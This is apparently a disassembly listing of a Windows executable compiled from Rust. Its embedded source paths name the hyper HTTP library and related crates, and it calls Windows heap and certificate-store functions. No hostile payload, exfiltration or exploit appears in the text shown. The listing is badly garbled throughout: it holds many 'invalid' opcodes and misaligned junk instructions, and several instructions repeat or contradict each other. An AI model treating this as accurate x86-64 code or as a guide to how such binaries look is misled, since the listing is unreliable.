lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
mov edx, 0x14
call fcn.140122a20
lea r8, [0x14015cea0]
mov rdx, r10
call fcn.140122990
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov ecx, 1
xor edx, edx
call fcn.140122510
lea r8, [0x14015cea0]
mov edx, 0x12
mov rcx, r10
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rcx, rbp
mov rdx, r14
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov edx, 0x40
mov rcx, r9
call fcn.1401225f0
mov qword [rsp + 0x38], r8
jmp 0x140057f4b
lea rcx, [0x14015ce47]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x23
call fcn.140122660
lea r8, [0x14015bf08]
mov rcx, rax
call fcn.140122510
mov qword [rsp + 0x38], rdx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 2
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0xc0]
call fcn.1401224d0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rcx, qword [rsp + 0x40]
call fcn.140122510
mov ecx, 8
mov edx, 0x38
call fcn.140122190
mov ecx, 8
mov edx, 8
call fcn.140122190
lea r8, [0x14015bf08]
mov rcx, rdx
mov rdx, rax
call fcn.140122510
mov qword [rsp + 0x38], rax
jmp 0x140057f4b
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rdi, qword [rsi + 0x530]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
je 0x14005978c
xchg byte [rdi + 0x38], bl
test bl, bl
je 0x1400597b8
mov rax, qword [rsi + 0x530]
lock dec qword [rax]
jne 0x1400596df
jmp 0x1400597e6
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cdq
add byte [rax], al
invalid
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cdq
add byte [rax], al
add byte [rcx], dh
rol byte [rsi + 0x50ff2057], cl
or byte [rsi - 0x247bc7a1], al
xor edx, edx
xchg byte [rdi + 0x20], dl
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x14005971b
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
test rax, rax
je 0x1400597d0
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi + 0x530]
lock dec qword [rax]
jne 0x1400596df
mov rcx, qword [rsi + 0x530]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14002e2a0
lock dec qword [rax]
jne 0x1400596f9
mov rcx, qword [rdi]
call case.0x1400aa0a2.141
mov word [0x110ee982d], cs
invalid
invalid
invalid
invalid
xor eax, eax
xchg byte [rdi + 0x20], al
and byte [rsi - 0x247bc7a1], al
and byte [rsi - 0x247bc7a1], al
fisttp dword [rdi]
test ebp, ecx
invalid
jne 0x14005971b
jmp 0x1400597b8
dec esp
int3
int3
or al, byte [rax]
add byte [rax - 0x77], cl
xlatb
mov rsi, rcx
movzx eax, byte [rcx + 0xa58]
lea rcx, [0x140194240]
adc eax, dword [rax]
adc eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x10]
movups xmm6, xmmword [rsi]
mov byte [rsi + 0xa59], 1
mov rax, qword [rsi + 0x530]
invalid
add byte [rax], al
add eax, 0x89480000
xchg byte [rax + 0xa], ah
add byte [rax], al
mov qword [rsi + 0xa60], rax
lea rcx, [rsi + 0xa68]
mov r8d, 0x520
call fcn.140121660
movups xmmword [rsi + 0xf88], xmm6
lea r14, [rsi + 0xa68]
lea rcx, [rsp + 0x20]
mov rdx, r14
mov r8, rdi
call fcn.140068050
cmp dword [rsp + 0x20], 5
jne 0x1400598ee
mov al, 1
mov cl, 3
jmp 0x140059a2a
lea rbx, [rsi + 0x538]
lea rdx, [rsp + 0x20]
mov r8d, 0x520
mov rcx, rbx
call fcn.140121660
cmp dword [rsi + 0xf88], 3
je 0x140059926
mov rcx, r14
call fcn.140059bb0
test byte [rsi + 0xf88], 1
jne 0x140059ad9
cmp dword [rbx], 4
je 0x1400599ce
lea rcx, [rsp + 0x540]
lea ecx, [rsp + 0x540]
mov r8d, 0x520
mov rdx, rbx
call fcn.140121660
mov byte [rsi + 0xa59], 0
mov rbx, qword [rsi + 0xa60]
or al, byte [rax]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
or al, byte [rax]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
je 0x140059aa6
xchg byte [rbx + 0x38], bpl
test bpl, bpl
je 0x140059b64
lea r14, [rsi + 0xa60]
lock dec qword [rbx]
jne 0x14005998a
mov rcx, rbx
call fcn.14002e2a0
lea rdx, [rsp + 0x540]
mov r8d, 0x520
mov rcx, r14
call fcn.140121660
lea rbx, [rsi + 0xa60]
mov rcx, rbx
mov rdx, rdi
call fcn.14009e650
cmp al, 2
jne 0x1400599bc
mov al, 1
mov cl, 4
jmp 0x140059a2a
mov rcx, rbx
call fcn.140059bb0
cmp qword [rsi + 0x538], 4
jne 0x1400599d7
test byte [rsi + 0x548], 1
jne 0x140059a46
cmp byte [rsi + 0xa59], 0
je 0x140059a1f
mov rdi, qword [rsi + 0xa60]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
je 0x140059a7c
xchg byte [rdi + 0x38], bl
test bl, bl
je 0x140059b1f
mov rax, qword [rsi + 0xa60]
lock dec qword [rax]
jne 0x140059a1f
mov rcx, qword [rsi + 0xa60]
call fcn.14002e2a0
mov byte [rsi + 0xa59], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa58], cl
movaps xmm6, xmmword [rsp + 0xa60]
add rsp, 0xa70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rdi, [rsi + 0x550]
mov rcx, rdi
call fcn.1400a4b20
mov rax, qword [rsi + 0x550]
test rax, rax
je 0x1400599d7
lock dec qword [rax]
jne 0x1400599d7
mov rcx, qword [rdi]
call case.0x1400aa0a2.141
jmp 0x1400599d7
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
test rax, rax
je 0x140059b0f
xor edx, edx
xchg byte [rdi + 0x20], dl
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
cmp byte [rbx + rbx*8 - 0x9d7af1], al
invalid
invalid
cmp byte [rbx + rbx*8 - 0x9d7af1], al
invalid
jmp 0x140059b1f
mov rax, qword [rbx + 0x10]
mov eax, dword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
test rax, rax
je 0x140059b52
xor edx, edx
xchg byte [rbx + 0x20], dl
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x140059975
jmp 0x140059b64
lea r14, [rsi + 0xf90]
mov rcx, r14
call fcn.1400a4b20
mov rax, qword [rsi + 0xf90]
test rax, rax
je 0x140059926
lock dec qword [rax]
jne 0x140059926
mov rcx, qword [r14]
call case.0x1400aa0a2.141
jmp 0x140059926
xor eax, eax
xchg byte [rdi + 0x20], al
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140059a06
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
test rax, rax
je 0x140059b37
invalid
add edi, edi
push rax
sbb byte [rcx], dh
rol byte [rsi - 0x74b7c7b9], 0x86
invalid
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
mov rax, qword [rsi + 0xa60]
lock dec qword [rax]
je 0x140059a13
jmp 0x140059a1f
xor eax, eax
xchg byte [rbx + 0x20], al
rol byte [rsi - 0x79bfdfbd], 0x6b
cmp byte [rax - 0x7c], al
in eax, dx
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x140059975
dec dword [rax - 0x75]
sub byte [r8 - 0x75], cl
xor byte [r8 - 0x39], cl
sub byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
je 0x140059b7c
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
invalid
invalid
mov dh, 0x60
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je 0x140059b7c
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
lea r14, [rsi + 0xa60]
mov dh, 0x60
or al, byte [rax]
add al, dh
dec qword [rbx]
mov dh, 0x60
or al, byte [rax]
add al, dh
dec qword [rbx]
je 0x140059982
jmp 0x14005998a
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs8
call fcn.140122c50
ud2
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
jne 0x14005c961
mov rcx, qword [rsi + 0x1b0]
call fcn.14002e3e0
mov rsi, qword [rsi + 0x1d8]
cmp qword [rsi], 0
je 0x14005c977
lea rcx, [rsi + 8]
call fcn.1400564c0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax], al
call qword [rax + 8]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x14005c948
jmp 0x14005ccb5
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x14005ccd6
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0xa0], al
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
je 0x14005c955
jmp 0x14005c961
add rsp, 0x20
pop rsi
ret
or sil, r14b
invalid
fisttp dword [rax - 0x75]
invalid
mov rcx, rax
test cl, 4
jne 0x14005ce1d
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0xd0], r8
jne 0x14005ce00
and ecx, 5
loope 0x14005ce25
cmp ecx, 1
jne 0x14005ce36
mov rax, qword [rdx + 0xc0]
mov rcx, qword [rdx + 0xc8]
call qword [rax + 0x10]
rol byte [rax], 0
add byte [rax - 0x75], cl
mov cl, al
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x75], cl
adc byte [rax - 0x7b], r9b
sal byte [rbx + rcx*4 - 0x10], 0x48
dec dword [rax]
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14005cdca
lock dec qword [rax]
jne 0x14005cdca
mov rcx, qword [rsi + 0x10]
add rsp, 0x20
pop rsi
jmp fcn.1400cb830
cmp byte [rax - 0x39], cl
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fwant_0.3.1_srclib.rs
lea rcx, [rsp + 0x38]
call fcn.1401224d0
nop word cs:[rax + rax]
mov cl, 1
xchg byte [rax + 0x28], cl
test cl, cl
jne 0x14005d060
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov qword [rax + 0x18], 0
xor r8d, r8d
xchg byte [rax + 0x28], r8b
test rdx, rdx
je 0x14005d088
call qword [rdx + 8]
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x14005d09b
mov rcx, qword [rsi + 8]
call fcn.14002de80
nop
add rsp, 0x150
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax + 0x48c48148], dl
add dword [rax], eax
add byte [rdi + 0x5e], bl
ret
add byte [rax], al
call fcn.140122190
int3
sal byte [rdx + rdx - 0x10], 0x48
dec dword [rax]
nop
add dword [rax], eax
add al, ch
sbb eax, ebp
invalid
mov esi, 0x108
add dh, byte [rdx + 0x2b]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x142078
and byte [rax + rax], dl
and byte [rax + rax], dl
lock dec qword [rax]
jne 0x14005f608
lea rcx, [rsi + 0x108]
call fcn.1400cb9d0
lea rcx, [rsi + 0x118]
call fcn.140056eb0
cmp byte [rsi + 0x218], 2
jb 0x14005f648
mov rdi, qword [rsi + 0x220]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x228]
mov rdx, qword [rsi + 0x230]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x238]
add rsi, 0x240
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
jmp rax
jmp rax
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1aa8
call fcn.14011e170
sub rsp, rax
movaps xmmword [rsp + 0x1a90], xmm8
movaps xmmword [rsp + 0x1a80], xmm7
movaps xmmword [rsp + 0x1a70], xmm6
mov rsi, rdx
movzx eax, byte [rdx + 0xbd0]
test eax, eax
mov qword [rsp + 0xa8], r8
test al, 0
add byte [rax], al
mov qword [rsp + 0x5c0], rcx
je 0x14005f712
cmp eax, 3
jne case.default.0x14005f704
add dword [rax], eax
invalid
add ecx, dword [rdi]
test esp, esp
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esi, eax
sub byte [rdi], al
add byte [rax], al
lea rdx, [rsi + 0x728]
movzx eax, byte [rsi + 0x728]
lea rdi, [rsi + 0x4e8]
lea rcx, [0x140194254]
adc rax, qword [r8]
xchg byte [rax], ch
invalid
adc rax, qword [r8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
mov qword [rsp + 0xa0], rdx
jmp rax
mov r14, qword [rsi + 0x618]
jmp 0x14005fa4d
lea rcx, [rsi + 0x248]
mov r8d, 0x118
mov rdx, rsi
call fcn.140121660
lea rcx, [rsi + 0x360]
add byte [rax - 0x73], cl
xchg esi, eax
sbb byte [rcx], al
add byte [rax], al
mov r8d, 0x100
call fcn.140121660
movdqu xmm0, xmmword [rsi + 0x218]
add byte [rax], al
add byte [rax], al
movdqu xmm1, xmmword [rsi + 0x228]
movdqu xmm2, xmmword [rsi + 0x238]
movdqu xmmword [rsi + 0x460], xmm0
jg 0x14005f6e2
invalid
add al, 0
add bl, dh
movq qword [rsi + 0x470], mm1
movdqu xmmword [rsi + 0x480], xmm2
movzx ebx, byte [rsi + 0x3c0]
test ebx, ebx
je 0x14005f789
jg 0x14005f6e2
invalid
cmp ebx, 1
jne 0x14005f78b
movzx ebp, byte [rsi + 0x3c1]
jmp 0x14005f7e5
jmp 0x14005f7e5
pop rdx
mov r14, qword [rsi + 0x3c8]
movzx eax, byte [0x14019f308]
add eax, 0x13fb6f
add eax, dword [rax]
add byte [rdi], cl
mov dh, 5
add eax, 0x13fb6f
add eax, 0x13fb6f
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rdi, rax
lea rdx, [r14 + 0x18]
mov rax, qword [r14]
mov r8, qword [r14 + 8]
mov eax, dword [rsi + 8]
mov eax, dword [rsi + 8]
mov r9, qword [r14 + 0x10]
lea rcx, [rsp + 0x120]
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc bl, dh
movq mm0, qword [rsp + 0x120]
invalid
mov word [rax + riz], fs
add dword [rax], eax
add bh, bh
adc bl, dh
movq mm0, qword [rsp + 0x120]
invalid
add bl, dh
movq mm1, qword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
invalid
movdqu xmm1, xmmword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
add bl, dh
movq qword [rdi + 0x10], mm1
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
lea rdx, [rsi + 0x3e8]
lea edx, [rsi + 0x3e8]
mov rax, qword [rsi + 0x3d0]
mov r8, qword [rsi + 0x3d8]
add byte [rbx + rcx*4 - 0x7a], cl
fadd dword [rbx]
add byte [rax], al
mov r9, qword [rsi + 0x3e0]
lea rcx, [rsi + 0x4a0]
lea ecx, [rsi + 0x4a0]
lea ecx, [rsi + 0x4a0]
add byte [rax], al
call qword [rax]
lea rdx, [rsi + 0x408]
lea edx, [rsi + 0x408]
add byte [rax - 0x75], cl
xchg al, dh
add eax, dword [rax]
add byte [rax], al
invalid
invalid
invalid
mov rax, qword [rsi + 0x3f0]
add byte [rax], al
mov r8, qword [rsi + 0x3f8]
mov r9, qword [rsi + 0x400]
mov ecx, dword [rsi + 0x400]
clc
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x72], cl
invalid
invalid
mov ecx, dword [rsi + 0x400]
add byte [rax + rax], al
add byte [rax - 0x73], cl
mov es, eax
lea rcx, [rsi + 0x4c0]
add al, 0
add bh, bh
call qword [rax]
invalid
mov bh, 0x86
adc byte [rax + rax], al
call qword [rax]
movzx eax, word [rsi + 0x410]
invalid
add byte [rax + 0x4909e], cl
mov byte [rsi + 0x490], bl
add byte [rax], al
add byte [rax - 0x78], al
scasb al, byte [rdi]
xchg ecx, eax
mov byte [rsi + 0x491], bpl
mov byte [rsi + 0x491], ch
add al, 0
add byte [rax - 0x77], cl
mov qword [rsi + 0x498], rdi
mov esi, 0x498
cwde
add al, 0
add byte [rsi - 0x77], ah
invalid
xchg al, ah
add al, 0
mov word [rsi + 0x4e0], ax
mov dword [rsi + 0x4e0], eax
add cl, ch
mov eax, dword [rax]
add byte [rax], al
jmp 0x14005f8e1
mov qword [rsp + 0x378], rdi
js 0x14005f85f
add byte [rax], al
add byte [rbx + rcx*4 - 0x4a], cl
test al, 7
add byte [rax], al
mov r14, qword [rsi + 0x7a8]
mov esi, dword [rsi + 0x7a8]
jmp 0x140063434
retf 0x3b
mov rbx, r8
mov ebx, eax
mov qword [rsp + 0x378], rdi
and al, 0x78
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, [rsi + 0x9d0]
mov qword [rsp + 0x5c8], rax
invalid
invalid
lea rax, [rsi + 0x9d0]
add byte [rax], al
mov qword [rsp + 0x5c8], rax
movzx eax, byte [rsi + 0x9d0]
xchg al, dl
or dword [rax], eax
invalid
xchg al, dl
or dword [rax], eax
add byte [rbp + rcx*4 - 0x52], cl
invalid
invalid
scasb al, byte [rdi]
lea r13, [rsi + 0x730]
scasb al, byte [rdi]
xor byte [rdi], al
add byte [rax], al
lea rcx, [0x140194268]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
iretd
mov r14, qword [rsi + 0x760]
jmp 0x14005fac6
invalid
add cl, ch
xor bl, byte [rcx]
add byte [rax], al
jmp 0x1400611e5
jmp 0x140060de7
adc eax, 0x6be90000
adc byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140158d48]
jmp 0x140060928
lea rcx, [0x140158d48]
call fcn.140122c50
lea rcx, [0x140158cf8]
call fcn.140122c50
lea rcx, [0x140158d30]
call fcn.140122c50
lea r14, [rsi + 0x248]
lea rdx, [rsi + 0x360]
lea rcx, [rsp + 0x390]
mov r8d, 0x100
call fcn.140121660
movzx ebx, byte [rsi + 0x460]
test ebx, ebx
je 0x14005f975
cmp ebx, 2
jne 0x14005f96e
mov r15, qword [rsi + 0x468]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rdi, rax
lea rdx, [r15 + 0x18]
mov rax, qword [r15]
mov r8, qword [r15 + 8]
mov r9, qword [r15 + 0x10]
lea rcx, [rsp + 0x120]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
jmp 0x14005f975
movzx eax, byte [rsi + 0x461]
mov byte [rsp + 0x670], bl
mov byte [rsp + 0x671], al
mov qword [rsp + 0x678], rdi
lea rcx, [rsp + 0x680]
lea rdx, [rsi + 0x488]
mov rax, qword [rsi + 0x470]
mov r8, qword [rsi + 0x478]
mov r9, qword [rsi + 0x480]
call qword [rax]
lea rdi, [rsp + 0x120]
lea rdx, [rsp + 0x390]
mov r8d, 0x100
mov rcx, rdi
call fcn.140121660
movups xmm0, xmmword [rsp + 0x670]
movups xmm1, xmmword [rsp + 0x680]
movups xmm2, xmmword [rsp + 0x690]
movups xmmword [rsp + 0x220], xmm0
movups xmmword [rsp + 0x230], xmm1
movups xmmword [rsp + 0x240], xmm2
lea rbx, [rsp + 0x1940]
mov r8d, 0x130
mov rcx, rbx
mov rdx, rdi
call fcn.140121660
lea rdi, [rsi + 0x4e8]
mov r8d, 0x130
mov rcx, rdi
mov rdx, rbx
call fcn.140121660
mov qword [rsi + 0x618], r14
lea rax, [rsi + 0x728]
mov qword [rsp + 0xa0], rax
mov byte [rsi + 0x728], 0
mov qword [rsi + 0x620], r14
mov byte [rsi + 0x729], 1
lea rcx, [rsi + 0x628]
mov r8d, 0x100
mov qword [rsp + 0x378], rdi
mov rdx, rdi
call fcn.140121660
lea r13, [rsi + 0x730]
movups xmm0, xmmword [rsi + 0x5e8]
movups xmm1, xmmword [rsi + 0x5f8]
movups xmm2, xmmword [rsi + 0x608]
movups xmmword [rsi + 0x730], xmm0
movups xmmword [rsi + 0x740], xmm1
movups xmmword [rsi + 0x750], xmm2
mov qword [rsi + 0x760], r14
lea rax, [rsi + 0x9d0]
mov qword [rsp + 0x5c8], rax
mov byte [rsi + 0x9d0], 0
mov word [rsi + 0x9d6], 0
mov dword [rsi + 0x9d2], 0
mov qword [rsi + 0x768], r14
lea rbx, [rsi + 0x770]
movdqu xmm0, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
movdqu xmm2, xmmword [r13 + 0x20]
movdqu xmmword [rsi + 0x770], xmm0
movdqu xmmword [rsi + 0x780], xmm1
movdqu xmmword [rsi + 0x790], xmm2
movzx ebp, byte [rsi + 0x770]
test ebp, ebp
je 0x14005fb84
cmp ebp, 2
jne 0x14005fb7d
mov r15, qword [rsi + 0x778]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rdi, rax
lea rdx, [r15 + 0x18]
mov rax, qword [r15]
mov r8, qword [r15 + 8]
mov r9, qword [r15 + 0x10]
lea rcx, [rsp + 0x120]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
jmp 0x14005fb84
movzx eax, byte [rsi + 0x771]
mov byte [rsp + 0x120], bpl
mov byte [rsp + 0x121], al
mov qword [rsp + 0x128], rdi
lea rcx, [rsp + 0x130]
lea rdx, [rsi + 0x798]
mov rax, qword [rsi + 0x780]
mov r8, qword [rsi + 0x788]
mov r9, qword [rsi + 0x790]
call qword [rax]
mov rcx, qword [r14 + 0x108]
test rcx, rcx
je 0x14005fbd7
lock inc qword [rcx]
jle case.0x14005f8a0.2
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0xdc0], xmm2
movaps xmmword [rsp + 0xdb0], xmm1
movaps xmmword [rsp + 0xda0], xmm0
mov rdi, qword [rsi + 0x768]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movdqu xmm2, xmmword [rbx + 0x20]
movdqa xmmword [rsp + 0x360], xmm2
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x340], xmm0
mov r15, qword [rdi + 0x68]
test r15, r15
je 0x14005fc52
mov rax, qword [rdi + 0x70]
mov qword [rsp + 0x848], rax
lock inc qword [r15]
jle case.0x14005f8a0.2
mov rbp, qword [rdi + 0x108]
test rbp, rbp
je 0x14005fc69
lock inc qword [rbp]
jle case.0x14005f8a0.2
mov rbx, qword [rdi + 0x68]
test rbx, rbx
je 0x14005fc88
mov rax, qword [rdi + 0x70]
mov qword [rsp + 0x840], rax
lock inc qword [rbx]
jle case.0x14005f8a0.2
movzx edx, byte [rdi + 0x81]
movsd xmm6, qword [rdi + 0x78]
mov rax, qword [rdi]
mov qword [rsp + 0x60], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x78], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x98], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x118], rax
movzx r8d, byte [rdi + 0x64]
movsd xmm7, qword [rdi + 0x58]
mov r9d, dword [rdi + 0x60]
mov eax, dword [rdi + 0x48]
mov dword [rsp + 0x40], eax
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x8b8], rax
mov eax, dword [rdi + 0x38]
mov dword [rsp + 0x38c], eax
movzx r10d, byte [rdi + 0x65]
mov rax, qword [rdi + 0x20]
mov qword [rsp + 0x8a8], rax
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x8a0], rax
mov rax, qword [rdi + 0x50]
mov qword [rsp + 0x8b0], rax
movzx r11d, byte [rdi + 0x80]
movzx eax, byte [rdi + 0x112]
mov r14, qword [rdi + 0xa8]
mov qword [rsp + 0x898], r14
lock inc qword [r14]
jle case.0x14005f8a0.2
mov byte [rsp + 0x5b], r11b
mov byte [rsp + 0x5c], r10b
mov dword [rsp + 0x388], r9d
mov byte [rsp + 0x5d], r8b
mov byte [rsp + 0x5e], dl
mov byte [rsp + 0x5f], al
mov qword [rsp + 0x890], rcx
mov rax, qword [rdi + 0xb0]
mov rcx, qword [rdi + 0xb8]
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], rax
lock inc qword [rax]
jle case.0x14005f8a0.2
xor eax, eax
cmp dword [rdi + 0x88], 1
jne 0x14005fdb9
mov rcx, qword [rdi + 0x90]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x838], rax
mov eax, 1
mov qword [rsp + 0x878], rax
mov rcx, qword [rdi + 0x98]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x870], rax
movzx eax, byte [rdi + 0xa4]
mov byte [rsp + 0x5a], al
movzx eax, byte [rdi + 0xa5]
mov byte [rsp + 0x59], al
movsd xmm8, qword [rdi + 0xa0]
mov rax, qword [rdi + 0xf8]
lock inc qword [rax]
jle case.0x14005f8a0.2
mov rax, qword [rdi + 0xf8]
mov qword [rsp + 0x860], rax
movzx eax, byte [rdi + 0x100]
mov byte [rsp + 0x58], al
mov eax, dword [rdi + 0xc8]
mov dword [rsp + 0x384], eax
cmp eax, 0x3b9aca00
je 0x14005fe43
mov rax, qword [rdi + 0xc0]
mov qword [rsp + 0x830], rax
mov qword [rsp + 0x868], rbx
movzx eax, byte [rdi + 0x101]
mov byte [rsp + 0x57], al
movzx eax, byte [rdi + 0x102]
mov byte [rsp + 0x56], al
mov al, 2
cmp byte [rdi + 0xf0], 2
je 0x14005fe99
lea rdx, [rdi + 0xe8]
mov rax, qword [rdi + 0xd0]
mov r8, qword [rdi + 0xd8]
mov r9, qword [rdi + 0xe0]
lea rcx, [rsp + 0x120]
call qword [rax]
movzx eax, byte [rdi + 0xf0]
mov byte [rsp + 0x55], al
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rsp + 0xa00], xmm1
movdqu xmmword [rsp + 0x9f0], xmm0
movzx ebx, byte [rsp + 0x340]
test ebx, ebx
je 0x14005ff37
cmp ebx, 1
jne 0x14005fedc
movzx eax, byte [rsp + 0x341]
jmp 0x14005ff37
mov r14, qword [rsp + 0x348]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rdi, rax
lea rdx, [r14 + 0x18]
mov rax, qword [r14]
mov r8, qword [r14 + 8]
mov r9, qword [r14 + 0x10]
